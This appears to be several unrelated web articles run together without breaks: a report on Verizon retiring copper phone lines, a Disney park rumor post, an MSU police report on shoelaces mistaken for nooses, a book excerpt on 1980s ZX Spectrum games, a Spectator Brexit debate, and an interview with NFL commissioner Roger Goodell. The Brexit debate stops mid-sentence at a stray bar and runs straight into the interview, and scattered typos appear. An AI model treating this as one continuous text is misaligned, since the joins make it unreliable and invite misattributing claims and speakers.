Mike Keys of Huntington, New York, has similarly resisted Verizon’s attempts to push him onto fiber. Keys uses FiOS for Internet and TV, but also has three traditional landlines on the copper network, in part because he runs a small computer consulting business and provides phone support to customers from his home. When Keys had FiOS installed, he insisted that Verizon let him also keep the copper phone lines.
“I have two sick people in the house,” Keys said. “Going through Hurricane Sandy, I had no power for 12 days, and I was the only one on the block who had phone service. Everyone else switched to the cable company or FiOS. At the beginning of my block, a tree fell on the lines, and this is interesting, it took out the electricity, it took out cable TV, it took out FiOS, but it did not bring down the copper cable.”
A year or so ago, Keys came home to find that two of his phone lines had been shut off, he said. "Calling them was a total waste of time. No one there knew anything about what happened," he said. He was able to get his service turned back on after about a week, but said he continues to get phone messages from Verizon that say, “they're discontinuing their old copper network, and they want to switch me to the new digital telephone service."
Keys delivers a consistent response: “I told them that I never want my copper to be removed, ever."
Customers will lose copper, and perhaps consumer protections
But the FCC is on course to let Verizon, AT&T, and other phone companies stop maintaining the old Public Switched Telephone Network (PSTN) by around 2020, eventually moving everyone to Voice over Internet Protocol (VoIP) phone service. This shift could come with a loss of consumer protection rules such as price caps and "carrier of last resort" obligations to provide wireline phone service to anyone who asks for it. AT&T wants to substitute wireless for wired access in about 25 percent of its territory.
Verizon is getting a head start on the transition by retiring copper networks in favor of fiber ones. Customers moving from copper to fiber aren’t necessarily disconnected from the PSTN, because fiber can handle both the traditional circuit-switched phone network (also known as POTS, for Plain Old Telephone Service) and the new, largely unregulated VoIP phones.
Many customers do not understand that Verizon sells both regulated and unregulated phone service over fiber. Verizon insists that it is careful to explain the difference between POTS over fiber and VoIP.
"When we approach customers about switching to fiber for their telephone service, they often jump to the incorrect impression that we are trying to force them to FiOS," Bonomo said. "That is our responsibility that we communicate this clearly, and we want to make sure they understand they can get POTS over fiber, without necessarily getting our FiOS products. We are conscious about this, and we strive to make sure our customers understand the difference."
Customers who get VoIP over fiber today are not protected by the government-regulated prices that apply to traditional landlines, and they are not protected by rules that guarantee quality of service and prohibit slamming and cramming, Public Knowledge Senior Staff Attorney Jodie Griffin told Ars. Consumers' ability to petition state utility commissions for help in disputes against the phone companies is also limited if they have switched from a traditional landline to VoIP.
The FCC has issued some rules governing VoIP service, such as 911 requirements, but it hasn’t yet decided whether VoIP should be regulated as a utility after the traditional phone network is completely shut off. States also hold power over phone companies, but AT&T and Verizon have successfully lobbied many of them to restrict state oversight and eliminate universal service guarantees—despite Verizon relying on utility status to gain government perks in the building of its fiber network.
A fiber line that carries POTS traffic is still subject to utility regulations. But whether a fiber line carries POTS or VoIP traffic, it does not provide electricity to phones during outages.This post may contain affiliate links; please read the disclosure for more information.
It’s certainly no secret that Disney’s Hollywood Studios is on the verge of a major overhaul, and we’ve already heard several times from Bob Iger that a Star Wars land is on the way, but does that mean we will be losing two more Studios establishments to the construction zone soon?
Rumors are swirling that the Echo Lake area may close to be demolished by March 2015. This would include the actual lake, Gertie the Dinosaur, and Min & Bill’s Dockside Diner, all opening day features of the Disney-MGM Studios.
The obvious thought would be that this would become part of the Star Wars themed land planned for the park, but it is unclear at this time. Similar rumblings have also claimed the adjacent Superstar Television Theater and ABC Sound Studio could be the next items to go come Summer 2015. Conflicting rumors have stated the Star Wars area would expand north and replace the Muppet-Vision area, but the removal of Echo Lake may save the Jim Henson creations from extinction.
Much is still unclear, but as we have been stating for several months now, it is clear that something BIG is up. We will provide any more information as it becomes available.Police at Michigan State University reported shoelaces found in two locations by students inside and outside of an on-campus residence hall were mistaken for a pair of nooses.
MSU police reported the misunderstanding late on Wednesday afternoon.
The department said a student lost a pair of leather shoelaces. They were packaged in a way that could be perceived as a nooses.
A student reported finding the shoelaces outside her room at Holden Hall.
The other set was found outside of the residence hall.
Officers said the student who lost the shoelaces lives on the same floor as the student who made the original report.
Original posting:
The university released the information in a press release on Wednesday, October 4.
MSU President Lou Anna K. Simon said the campus police and Office of Institutional Equity immediately began investigating after the student who discovered the object reported it.
The release did not detail which residence hall the incident happened in.
Simon said in the release: "No Spartan should ever feel targeted based on their race, or other ways in which they identify. A noose is a symbol of intimidation and threat that has a horrendous history in America."
Nooses were tied around the necks of African-Americans to lynch them during the post-Civil War era.
According to the National Association for the Advancement of Colored People, the nation's oldest civil rights group, there were more than 4700 lynchings in the United States between 1882-1968. Nearly 73 percent of the people lynched were African-Americans.
"Once blacks were given their freedom, many people felt that the freed blacks were getting away with too much freedom and felt they needed to be controlled. Mississippi had the highest lynchings from 1882-1968 with 581. Georgia was second with 531, and Texas was third with 493." - NAACP section on lynchings
A noose was reportedly found on campus at MSU in 2011. It prompted protests and an on-campus rally.
One was left at the National African-American History and Culture in Washington, D.C. in June of 2017.
This is a developing story. Continue refreshing for updates.This is an excerpt from Tom Lean's new book for Bloomsbury Press, Electronic Dreams, exploring how 1980s Britain learned to love the home computer. Tom himself has made some small edits to the original text, to make the excerpt work as a stand-alone article.
In the early 1980s, home computing was booming around the world, as millions of people bought their very first machine from the likes of Commodore, Sinclair, Oric, Acorn or Atari. Today it's easy to be amused at how primitive these computers seem, with their blocky graphics, tiny memories, beepy sound and sometimes eccentric design features. Yet in their day they were an extraordinary creative medium; simple yet very powerful too, and open to experimentation by programmers who learned to push them far beyond what their designers expected, particularly when it came to creating games.
When we think of vintage computer games, we all too often think of the two-dimensional tennis of Pong, the repetitive attack waves of Space Invaders, or Pac-Man's entrapment in a haunted maze with no way out. Yet these are just the best known, and probably amongst the least impressive, of a much more diverse scene. Home computing ushered in a period of incredible gaming diversity and experimentation, probably the most creative period in video game history. It would need an entire book to adequately cover all the innovation and creativity of early 1980s games developers. The gaming scene was vast, with thousands of games of diverse genres, produced by hundreds of companies, on dozens of different platforms. However, an examination of just some of the most inventive titles and techniques of the early 1980s illustrates the great technical and creative achievements of game developers.
In Britain, many of the most innovative games of the early 1980s originated on the Sinclair-made ZX Spectrum, but were quickly ported to other platforms too. Released in 1982, the Spectrum was a budget home computer with an emphasis on learning to program. With its "dead-flesh" rubber keys and small stylish black casing, the Spectrum appears more like an overgrown calculator than a computer to 21st century eyes, but appeared fantastically futuristic at the time. Priced at £175 for the 48k memory version (less than one eighty-seven-thousandth of the RAM of the computer I'm typing this on), it was hugely popular, meaning there were not only many people programming for it, but a large market to supply. By 1984 over 3,500 games had been released for the machine in some form or another. The quality and sophistication varied enormously, but it included a large number of critically acclaimed and innovative titles.
Curiously the Spectrum itself was not as optimised for games as some of its more expensive rivals. It needed an adaptor to plug a joystick into it, the sound capability was simply a beeper, and the odd way the machine displayed its visuals could create some strange-looking effects on screen from colour clash. Other machines had more sophisticated sound and graphics, and provided built-in features to make writing games easier. A good example is the Commodore 64, which not only had an advanced sound chip but the ability to use sprites, graphical objects that made animations easier to create. "The trouble was, that guided everyone into making games that all looked incredibly similar," recalled Spectrum games programmer Jon Ritman. The Spectrum had no such hardware support, and yet its simplicity and origins as a machine to be explored made it a flexible medium to create games that did not have to obey the rules. "The Spectrum was just 'here's a bit of screen'. It's laid out in a funny way, which is a bit of a pain," explains Ritman. "But you just draw things. And you could do whatever you want. It might not be as fast, but you can do whatever you want, and I think that as a result you got more interesting ideas on it."
'The Lords of Midnight', walkthrough
Many of the best-remembered titles of the 1980s are action games of various types, but it would be entirely misleading to suggest that this was all that was on offer. Text adventure games were a hugely popular genre at the time. In 1983 nearly 130 were released on the ZX Spectrum alone, the same year that saw the launch of a dedicated computer adventure game magazine: Micro Adventurer. At their best they were immersive works of interactive fiction, notably those actually based on books, such as The Hobbit and The Hitchhiker's Guide to the Galaxy, the latter of which was co-created by its original author Douglas Adams. Very quickly, they evolved beyond simple text games, as programmers started illustrating them and adding other dimensions to the gameplay.
The most impressive example was probably The Lords of Midnight, written by a former teacher from Liverpool, Mike Singleton, in 1984. Drawing heavily on The Lord of the Rings, The Lords of Midnight was a quest to defeat the Witchking Doomdark, but offered far more than "YOU ARE IN A ROOM" style descriptions and typed "GO NORTH" commands. Rather, it was a mix of strategy war game and fantasy adventure, based around the remarkable "landscaping" graphical technique developed by Singleton. The first-person perspective this provided created an impression of travelling through a vast fantasy land of citadels, villages, mountains and plains. It was a whole world for the player to explore, populated with enemies and potential allies, and like any good fantasy tale, the game even came with a map. The Lords of Midnight was far more open-ended than typical adventures: there were multiple characters to control, and it could be played as an adventure to destroy Doomdark's ice crown, or as a war game, by gathering forces to defeat him in battle. With 4,000 different locations and innovative gameplay, The Lords of Midnight was one of the earliest games that could be considered an epic. The cast of characters, atmospheric surroundings, enormous size and scope of gameplay made it a game that players could lose themselves in for many hours. Reviewers praised its world, landscapes and coherent storyline, attributes more often associated with books or films than mere games at the time.
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Also visually impressive, but in a rather different way, was 1983's Ant Attack. Playing as either a boy or a girl character, a novelty in the male-dominated gaming scene of the time, the game's object was simple enough: players had to enter the lonely ruins of the city of Antescher, dodge the giant ants (or, more aggressively, blow them up with grenades) and rescue their significant other. What was striking was the world the action played out in. Ant Attack was one of the earliest home computer games with three-dimensional graphics, using a technique known as isometric 3D, where the objects in the game were drawn to look like they were solid rather than flat. The game's creator, Sandy White, was a trained sculptor. With little more than shaded blocks, White created a sprawling three-dimensional city for the player to explore. The isometric 3D technique was so novel that the game's publisher, Quicksilva, attempted to take a patent out on it, but it became a widely emulated technique on the Spectrum.
Isometric 3D was taken to another level the following year when Ultimate Play the Game released Knight Lore, an action-adventure quest of collecting the ingredients needed to stop protagonist Sabreman turning into a "werewolf". Ultimate, a trading name of Ashby Computers & Graphics, were rare among British game companies in already having experience of creating arcade machine games before the home computer boom. They became well respected for a series of superbly realised and highly successful computer games such as the platformer Jetpac and action-adventure Atic Atac. The company cultivated an air of mystery; their lead developers, brothers Tim and Chris Stamper, rarely gave interviews, which paradoxically led to even greater press interest and a loyal fan base. Convinced they had a winner, Ultimate delayed the release of Knight Lore for some months to avoid upsetting the market for their other games. Whereas Ant Attack featured an expansive but essentially static city where nothing moved save for the player and the ants, Knight Lore used isometric 3D to create a miniature interactive world. Essentially a three-dimensional platform game, Knight Lore was a maze of claustrophobic dungeons that exploited the extra dimension to good effect, with objects that could be moved around, puzzles that needed to be solved in three axes and hazards hiding behind things. The graphics were also precisely detailed; the animated paroxysms of Sabreman as he turned into a werewulf were a joy to behold. It was an approach widely considered revolutionary; Crash magazine's reviewer declared that it "resembles nothing I've played before".
'Knight Lore', walkthrough
Other programmers were impressed, too. "You could have heard our jaws hit the floor, basically," recalls Jon Ritman of first seeing Knight Lore. "I looked at it and thought that's what I've always wanted to do, as I saw it, make a Disney cartoon that you could play." After Knight Lore, isometric 3D became a staple of Spectrum gaming. Indeed, so many games used the format that some magazine reviewers seem to have got rather bored of it after a while, but it was the basis for a number of inventive and polished games. Three-dimensional games were generally more technically demanding than two-dimensional ones, and few players appreciated all that was required to make isometric 3D work on a simple machine like the Spectrum.
"It required a number things," recalls Ritman, who employed the technique to good effect in 1986's Batman. The smooth three-dimensional animation as objects moved across the screen relied on emptying a space in the graphic and then drawing into the gap that was created. "You work out the area of the screen that's changed because something's moved," Ritman explains. "You work out the order of the room, from the back of it to the front, and then you draw all the things that come in that area that you need to update, in order, all the way to the front." To avoid the Spectrum's problem with colour clash, the action in most isometric games was drawn in monochrome, albeit with different colours used for different rooms to display information around the screen. "And then there was the physics, being able to move things around," Ritman adds. It seems such a simple thing today, but having items moving around in a virtual world, not just scenes being drawn, but objects that the player could interact with, was curiously novel for the time.
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A good game was not just about the graphics technique employed, but also about using it to make a fun experience that was large enough to entertain players for a good few hours. Batman, for example, had a 150 rooms to explore of puzzles, enemies and items, requiring another set of techniques to fit the game into the confines of the Spectrum's memory. "It required some intense storage, so the maps and things were incredibly condensed," recalls Ritman. The following year he and artist Bernie Drummond surpassed even this, with Head Over Heels, another detailed, and rather surreal, isometric game. Head Over Heels also offered some impressive gameplay innovations too: enemies that homed in on the player's character as they moved, fiendish combinations of conveyor belts and enemies, and strange Prince Charles-Dalek hybrid creatures controlled by buttons within the game environment itself. Most notably, Head Over Heels had two characters with different abilities to control, the doglike Head and Heels, who could be combined into a single symbiotic organism, allowing a number of different ways to play.
When new, Manic Miner, the madcap 1983 platform game which set a benchmark for early home computer games, had been celebrated for squeezing 20 two-dimensional screens of action into the 48k ZX Spectrum. A few years later, Head Over Heels managed 300 three-dimensional rooms in the same computer, a striking demonstration of maturing programming techniques. Isometric games such as these were probably the most impressive displays of how far games programmers could push the simple capabilities of the Spectrum. They were essentially miniature interactive universes created within incredibly tight computing constraints. No matter how primitive the computers seem today, it's impossible not to be impressed by the things that skilled programmers could make them do.
Electronic Dreams is published on February 11th, 2016. More information/purchase links at the Bloomsbury website. Follow Tom Lean on Twitter, here.
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1985 Was an Amazing Year for Video GamesNow that almost six months have passed since the EU referendum, might it be time for old enemies to find common ground? Matthew Parris and Matt Ridley, two of the most eloquent voices on either side of the campaign, meet in the offices of The Spectator to find out.
MATTHEW PARRIS: Catastrophe has not engulfed us yet, it’s true. But I feel worse since the result, rather than better. I thought that, as in all hard-fought campaigns, you get terribly wound up and depressed when you lose. Then you pick yourself up, dust yourself down and start all over again. But my animosities — not just towards the Brexit argument, but towards a lot of the people who advanced it — haven’t softened, I’m afraid.
MATT RIDLEY: I noticed that. It does somewhat dismay me that my chums on the Remain side are clearly not going to forgive. But I have felt absolutely vindicated in the stance I took, which was a knife-edge thing. Had David Cameron come back with a better renegotiation, I would have been happy to support it.
PARRIS: Really?
RIDLEY: Oh yes. I mean, it was pretty obvious he was asking for too little — so perhaps I should go back a little further. There was a time when a two-speed Europe, in which we could liberate ourselves much more on trade, was on the table. It was Cameron’s decision to focus on benefits and immigration.
PARRIS: I do think that you’re being a little disingenuous, in the old-fashioned sense of the word. I remember your side of the argument. What you all did was to say: ‘Oh, good luck to David Cameron. We really hope he succeeds in his negotiations. He must, incidentally, bring back A, B, C and D.’ And one read A, B, C and D, and one saw at once that he couldn’t bring those things back.
RIDLEY: I disagree. Yes, he did end up negotiating benefit caps for migrants and some pretty trivial things. But go back three years, to his so-called Bloomberg speech — which I thought was tremendous — he said Europe had to reform fundamentally. That was his aim.
PARRIS: But you never believed that Europe was going to reform, did you?
RIDLEY: I thought that it was going to be tough. But there were a number of people going around last year — David Owen wrote a book making this point, Jacques Delors endorsed this kind of thing, Guy Verhofstadt was talking about it — saying, ‘Yes, maybe we should now think of a two-tier Europe in which there’s a free-trading penumbra around a much more “ever-closer-union” core.’ That was on offer.
PARRIS: Why don’t we go for that now, then?
RIDLEY: I think we will end up with a free-trade agreement with Europe, but it won’t involve the various forms of supremacy of EU law over our own law. It will give us some control over our laws, our borders and our money.
PARRIS: But then we get back to ‘why?’ It was never on the cards that Cameron was going to come back from his negotiations with this sort of deal that would have satisfied most of the Leavers, most of the anti-Europeans. You just wanted us out.
RIDLEY: By the beginning of this year, yes I did. I’d seen how incredibly intransigent the EU was, even on the pathetically short list of reforms that was being asked for. And Cameron, let’s not forget, rushed this referendum. He had a whole further year to negotiate more serious reform, more in keeping with his original plan. But instead, he tried to get the whole thing out the way with a Potemkin renegotiation. I’m afraid he wasn’t really serious.
PARRIS: I’m sure you believe what you’re saying now, but I think the underlying psychological forces that have driven the Leave people are the same ones that always drove them. You have always been looking for reasons to go.
RIDLEY: Let me put a different point to you: I didn’t hear a positive argument about the European Union in the campaign. I heard lots of reasons why it would be painful if we left — and by the way, as we know, it’s been nothing like as painful…
PARRIS: But we haven’t left!
RIDLEY: Sorry, but there was apparently going to be a profound and immediate economic shock if we voted to leave. Those are the words that George Osborne used, that’s the sentiment of the IMF, the OECD, Barack Obama, everybody.
PARRIS: Look at the pound.
RIDLEY: The pound has had an excellent correction! Which is good for the British economy, as it was in 1992. I’m a great believer in devaluations, as long as they don’t produce runaway inflation.
PARRIS: Well they do.
RIDLEY: Not always. In a deflationary environment they can be very beneficial and I think the pound has been overvalued for a long time. Nonetheless, we were supposedly going to have a plague of frogs and a third world war. You must admit that ‘Project Fear’ was tremendously overdone.
PARRIS: The frogs have been slightly delayed, but the frogs are on their way. Have no doubt. If I didn’t believe that this wasn’t going to end in disaster, I wouldn’t be arguing as I am now, with the passion that I did before the campaign. I still believe this is going to end in disaster.
RIDLEY: Indeed, but we’re back to a negative argument — that Europe may be inadequate but we can’t leave it without paying…
PARRIS: Yes.
RIDLEY: Whereas I would have liked to have heard somebody say, ‘Actually, I think it’s brilliant. I think “ever closer union” is wonderful! I think we should have supremacy over our laws by unelected commissioners!’ Why did no one on the Remain side want to make a positive case?
PARRIS: Because, on our side of the argument, we didn’t want to join the euro. We retain a healthy scepticism about the workings of the EU; we don’t take a particularly optimistic view of the direction in which it’s going. But we still think — absolutely passionately — that it will be a disaster for the United Kingdom to leave.
RIDLEY: You see! Still a negative argument.
PARRIS: It is a negative argument. You know, as one lemming said to the other, as they went over the cliff, ‘What do you mean we’re going to go over a cliff? That’s a negative argument.’ Yes!
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PARRIS: One of the things that depressed me about the referendum was the idea, so seductively put forward by the Brexiteers, that we were in a vague sort of way going to ‘take back control’. It plays very potently to a strand of resentment and fear that has always run through the populations of large economies like our own, which is that life is no longer in our own hands. And they then try to transfer that on to their government — that it has lost autonomy in this globalised world or this European Union, that there are immigrants coming in and so on. My worry is that this is a very difficult argument to resist, because it plays so strongly to people’s psyches. But a medium–sized country like ours can’t just ‘take back control’. Nobody can in this world.
RIDLEYy: It’s true that people often look back to some golden age when you could completely control your life. It never existed. I mean, ever since the Stone Age we’ve been trading and have had other people’s ideas forced on us. If we did actually become autarkic and pull up the drawbridge, that would not be a good thing. But I do think something changed ten years ago when Tony Blair said there would be only 5,000 to 13,000 new immigrants a year, as a result of the accession of the eastern European countries. He decided against the temporary — whatever the word is — action.
PARRIS: A sort of emergency brake.
RIDLEY: Exactly. Which we decided not to do. So we had nearly 500,000 over three years. Did a lot of people feel this pushed down their wages? Or that the immigration pushed up the waiting lists for doctors’ surgeries, school places and housing? Yes, they did.
PARRIS: A lot of people? Really?
RIDLEY: It did motivate them in the referendum. But there is a tendency among Remainers to assume that this debate was all about immigration, that this was the most important issue. The polling evidence suggests otherwise.
PARRIS: It doesn’t.
RIDLEY: No, it does! Lord Ashcroft’s poll showed that the top issue was sovereignty. Immigration was the second.
PARRIS: But sovereignty was a lot of people’s way of saying immigration.
RIDLEY: I don’t agree!
PARRIS: I have no doubt at all that immigration was a terrifically important part of the Leave campaign and you know it, Matt. You wouldn’t have won without it.
RIDLEY: Had the Leave campaign been all about immigration, we’d have got about four million votes. That’s the number of people who voted for Ukip in the last election. The whole Vote Leave strategy — and what Dominic Cummings, the campaign director, kept saying — was, ‘Those people are going to vote for our side anyway, we’ve got to win the economic argument.’ That’s why only one or maybe two weeks of the campaign was focused on immigration. That got a surprising amount of attention.
PARRIS: It got a lot of attention because it was what people were interested in.
RIDLEY: No, we talked about trade. And people were interested.
PARRIS: Immigration was the coiled spring within your argument. Whether or not you chose to acknowledge that publicly, I think privately you all knew that that was what was going to win it for you. And it did. I don’t mean you personally because I’ve never heard a racist or unpleasant word from you. But a good many people on your side played on it in a way that I thought was quite disgraceful. I wrote in The Spectator that it made me ashamed to be British, the way the immigration argument was being played. It still does.
RIDLEY: Hang on a minute — that is a bit unfair. Everybody was trying to make the best case they could. It does bother me that now that overcompensating Remainers like Amber Rudd, the Home Secretary, seem to be living in this echo chamber where they think it was all about immigration, and so they think that what they’ve got to do now is to crack down on immigration, to have lists of foreign workers or something. It is clearly not what people wanted. The opinion polls show clear support for skilled immigration — for scientists, for students |
worry about. But for me it was, we had a job to do and we had to get it done. I’m proud of what we did. I think what we did in developing a new personal conduct policy and making the changes that we made in education and making sure that people understand this issue, the things that we did more publicly about bringing to light this issue I think will be beneficial long-term to society—those things are things that we’ll look back and be proud of those accomplishments. We’re sorry we got to the place we got to [and] the way we got to it, but that is something that we now can look back at and build on.... We’re actually starting to see it. People are saying, "People should adopt the personal conduct policy of the NFL in other institutions and other industries." That’s rewarding to some extent.
"We’re sorry we got to the place we got to [and] the way we got to it," Goodell says, "but that is something that we now can look back at and build on."
The MMQB: Did you use anybody in 2014 as what you would call a sounding board, an advisor, to help you through the tough times?
Goodell:... Well, one of the good things about having those is that you don’t tell people who they are, because then they aren’t quite as open … I think that’s how you develop relationships that are valuable.
The MMQB: Do you feel that, in terms of the personal conduct policy—whenever you pick your discipline czar, will you be handing over a clearly defined way to handle personal conduct and discipline to whoever this person is?
Goodell: No. One of the reasons I created a conduct committee is that you constantly have to evaluate your policies. You have to understand what’s going on. Not only what trends might be happening in your own league as far as types of infractions, but also what’s going on in the broader society. That includes the criminal justice system. We have to adapt when we can sense a trend is occurring or when changes are afoot and you have to get ahead of those issues. One of the things we want with a conduct committee is to make changes to the personal conduct policy. In fact, at the league meetings, after the last two conduct committee meetings we already have a change that the committee is going to recommend.
The MMQB: What is it?
Goodell: It’s actually something that came out of the Mueller report (the NFL-sponsored investigation by former FBI czar Robert Mueller on the Ray Rice case), which was that there’s not only an obligation to report an incident, but there’s an obligation on behalf of the clubs to report and keep us informed if new information develops. So it’s not just the initial incident but if new information is something that they become aware of, they need to share that with our investigation.
The MMQB: So if there’s a team that has an incident that’s similar to what happened with Rice …
A Big Problem in Baltimore For years, the Ravens were one of the NFL’s cleanest teams off the field. But a recent run of arrests has put the organization in the position to cut contributing players and alter future plans, Greg Bedard writes. FULL STORY For years, the Ravens were one of the NFL’s cleanest teams off the field. But a recent run of arrests has put the organization in the position to cut contributing players and alter future plans, Greg Bedard writes. Goodell: It doesn’t have to be similar. If you have an incident that would be in violation of the personal conduct policy, you not only have to report the incident, but you have to report any information that you have at that time, or that you may get going forward. It’s what we call a "continuing obligation."
The MMQB: Why do you think this is important?
Goodell: It’s just an example of the fact that you have to constantly look at your policy and improve it—make sure that everyone understands it. Whether it’s the clubs, the individual employees of the league, the media, the fans … You have to be clear and as simple as you can possibly be.
The MMQB: Where are you in hiring someone to run that division?
Goodell: Well, we are at the final stages. We have not only talked about the individuals who could be involved but also the structure. One of the things that we evaluate is whether it’s a single individual or should the responsibility be split in any way, [such as] investigations versus discipline.
The MMQB: What do you think is the smartest way to do it?
Goodell: We’re at the final stages of that.... I’m leaning towards splitting them.
The MMQB: Speaking of investigations, we’re at the two-month anniversary of the AFC Championship Game and the investigation into allegations that the Patriots deflated the football or footballs in that game. How much thought did you give that you needed to get it resolved so it’s not hanging over the league? It seems like it’s been hanging over the league for two months. Was there any thought in your mind to try to get it resolved that week so that it didn’t mar anything associated with the Super Bowl?
Goodell: No. I think the most important thing is to get the right information, to get the facts and to get the truth. And not to make any judgments until you get that. We have been very careful on that. We followed the facts. We took the information. We determined that we should bring Ted Wells to further the investigation. We haven’t given him a timetable except to be thorough, be fair and get to the truth. When he’s completed his report, that will be made public as well as to all of us.
The MMQB: Any indication when that will be?
Goodell: I haven’t spoken to him for several weeks. I think he’s getting near the end, but there’s no requirement when....
The MMQB: Is two months to investigate that too long?
Goodell: Again, I think that if you’re going to be thorough, it takes time. You’re having to meet with a lot of people. I guess it’s always too long, because you want to get to that issue and deal with it. It’s important not to exert any pressure to short-circuit or do anything other than be fair and transparent.
The Deflategate investigation is ongoing, more than nine weeks after the incident and seven weeks since the Patriots won Super Bowl 49. (Simon Bruty/Sports Illustrated/The MMQB) The Deflategate investigation is ongoing, more than nine weeks after the incident and seven weeks since the Patriots won Super Bowl 49. (Simon Bruty/Sports Illustrated/The MMQB)
The MMQB: Can you say that the first time that you heard about this was after the game?
Goodell: Yes.
The MMQB: You know that there’s a storyline out there that you knew about the deflating and wanted to catch them in the act.
Goodell: Let’s just short circuit this a little bit. I’m not going to get into what we knew and when we knew it because that’s part of what he’s investigating. … I can tell you that I was not personally aware of it until after the game.
The MMQB: You had a surprising event last week with a 24-year-old linebacker for the 49ers, Chris Borland, retiring. What was your initial impression when you heard it?
Goodell: You have to respect his decision. It’s his judgment. As you point out, players retire all of the time. They make those determinations. They balance a lot of issues that are sometimes personal to them.
The MMQB: Do you view it as a singular issue? Are you in any way concerned that moms and dads of America will look at this and be concerned about the future of football?
Fujita: u2018I Chickened Outu2019 Ex-linebacker Scott Fujita nearly walked away because of concussion concerns but couldn't 'get off the hamster wheel.’ Peter King shares Fujita's perspective on Chris Borland's bold decision to retire from the NFL and answers questions about Deflategate, Marcus Mariota and more. FULL STORY Ex-linebacker Scott Fujita nearly walked away because of concussion concerns but couldn't 'get off the hamster wheel.’ Peter King shares Fujita's perspective on Chris Borland's bold decision to retire from the NFL and answers questions about Deflategate, Marcus Mariota and more. Goodell: This isn’t something that came up yesterday for us. We’ve been working on the safety of our game throughout our history—with an incredible focus on it in my personal time as commissioner … We’ve seen a reduction of concussions by 25 percent just last year. That’s continuing a three-year trend on that issue. We saw a lot of those techniques in the reduction of those penalties, and it hasn’t impacted the quality of the game. You’d have to admit that the quality of the game is outstanding. There was a lot of criticism several years ago that we were changing the game. We are changing the game, for the better. The game has never been better or safer. And I think that the statistics bear that out.
We also are very focused on making sure that we provide the best medical care. I think you’ve seen recently that we hired Betsy Nabel. For the first time ever, we have a chief medical advisor, and she’s someone who I think will bring a great deal of experience, independence and thought to all the work that we’re doing to make sure that our players get the absolute best medical care...
I go back to something else that I think is very important—NFL players are living longer than the average American male. And quite a bit—two to three years on average, according to the Niosh study.... And we’re also seeing very positive results in youth football and high school football. High school football went up this year in terms of participation, despite all of the coverage.
What we want are facts to be out there. … When they hear the facts, they’ll realize that the game has an awful lot to offer. While there’s risk of injury, there’s risk in any physical activity. The way the game is being taught is making it a safer game and a better game.
The MMQB: But you obviously see the stories of the broken-down old players …
Goodell: I'm hearing about the changes we made in the collective bargaining agreement four years ago. I can’t tell you how many retired players came to me, including players that I was the intern for [Goodell was a PR intern for the Jets in the early ’80s], and said, "I wish those rules had been in place when I was playing, because I’d still be playing." I’ve heard players talk about the quality of the fields as an example. "Had the fields been at the quality that they are now, I’d still be playing the game." So I think you’re overlooking a lot of the improvements that have taken place—not just in medical, but in the fields and the rules and the training.
The MMQB: Do you think Borland is an outlier?
Goodell: Again, players are making the decisions whether to play or not play every day. They'll be making it for a variety of reasons—injury, career … If they have all the facts and are making a personal judgment, you have to respect that. People are going to make those decisions based on, we hope, facts and whatever their personal judgment is.
The MMQB: Let me ask you about the rules. It strikes me that if you tangibly change the rule on what is a catch, it could lead to a reversal of some of the progress that the numbers say has been made on concussions—just because there will be an increased emphasis on trying to knock the ball out.
Goodell:... You’re talking a little bit about a hypothetical. That’s why the competition committee reviews this for weeks and looks at what we call the unintended consequences. So I think you’re somewhat referencing that.... I think that’s true. We had that when we initiated the defenseless player hits. Everyone thought, Well, that’s going to increase knee injuries, and they're going to start going lower and that's going to cause a different type of injury. So that’s the unintended consequences we look at. That hasn’t proven to be true by statistics. So I think you can make the game safer and better, but those issues of what could happen if you change a rule are exactly what the competition committee really balances.
As far as defenseless players, that was one of the big things defensive backs coaches said—part of the job is to dislodge the ball. Well, what we’re seeing is that with the proper techniques you can still dislodge the ball. And it’s safer not only for the player being struck, but the player who is striking the individual. We’re still seeing that. So I think has been culture change, and frankly the change in techniques that you see with coaches and players is that they’re seeing the proper techniques, the safer techniques, actually can lead to the same outcome of breaking up the play. It doesn’t have to be the hit to the head where you’re launching.
"The expansion of the playoffs will be discussed," Goodell says. "We think it has a lot of merit from a competitive side, because it would actually add more teams to the race at the end of the season."
The MMQB: Do you get involved much with things like that with the competition committee?
Goodell: I just spent 45 minutes on the phone with [competition committee co-chair] Jeff Fisher last night. I talk with Rich McKay or other committee members, John Mara.... I’m meeting with them in advance of Sunday.
The MMQB: The ‘what is a catch’ question was huge in this country in the playoffs. What’s your opinion—should the rule be changed?
[Editor’s note: At the Arizona meetings, it’s not going to be proposed as a rules change and will only be advanced if teams bring it up.]
Goodell: Well, this was also huge with Calvin Johnson [in a game in 2009]. The stage was bigger [this time], right? That’s why it’s so important for the competition committee to take the time away from that and to evaluate all of the consequences, including the officiating side of it, which is very important. One of the reasons they moved to the rule the way they did is so that it could be officiated consistently. That’s a big part of the decisions that they make. They bring officials in and also get input from the officials. You would want to try to develop that consistency so that a catch is a catch for everybody and it’s clear and you can see it.
The MMQB: What about giving each team a guaranteed possession in overtime?
Goodell: I think our overtime rule is really working well. I think it’s got the right balance. It keeps the sudden death nature of the game but … you have the opportunity to win the game and not give the other team the ball if you score a touchdown.... I think that maintaining the sudden death nature of the game is very important.... I think the extra point will be something that gets a fair amount of discussion—whether we move it back to the 15, as we experimented last year. Could you combine that potentially with putting the ball at the one [-yard line] so that you incentivize them to go for 2?
The MMQB: Is there a chance that you do something this year with the extra point?
Goodell: Yes … I think there’s a chance. I think that we’re going to have some pretty healthy discussions about it.
Dan Bailey was one of 26 kickers with at least 20 attempts to not miss an extra point in 2014. (Elsa/Getty Images) Dan Bailey was one of 26 kickers with at least 20 attempts to not miss an extra point in 2014. (Elsa/Getty Images)
The MMQB: What do you think is the most logical thing? Moving it back to the 15 or moving it up to the one?
Goodell: Well, there’s another alternative that’s been discussed a lot which goes well beyond the extra point, which is would you change the uprights? We had some pretty healthy debate about that in Indianapolis [when Goodell met with the Competition Committee]. The accuracy of the kickers is so good right now. And on the extra point, it’s virtually an automatic play. Should there be some excitement or some consequence whether they can really make the extra point?... I think the ownership feels pretty strongly that we need to create excitement in all of our plays. It could be some combination. I think the other thing that I would add that is related both competitively and medically is the medical timeout. If we see a player in either distress or disoriented in some fashion, should we stop the game and how do you stop the game and make sure that the individual gets evaluated properly?
The MMQB: Who calls the medical timeout?
Goodell: That’s what we’re going through the debate on. We have this eye in the sky—the ATC spotter—that would likely be the best position, because they’re all former trainers and they have the ability to identify somebody.
[Editor's Note: Independent certified athletic trainers have been positioned in the press boxes for every game since 2011. They have the ability to communicate with the sidelines and mandate that an injured player be taken off the field if they see signs of distress that medical people on the sidelines have not seen, or have ignored.]
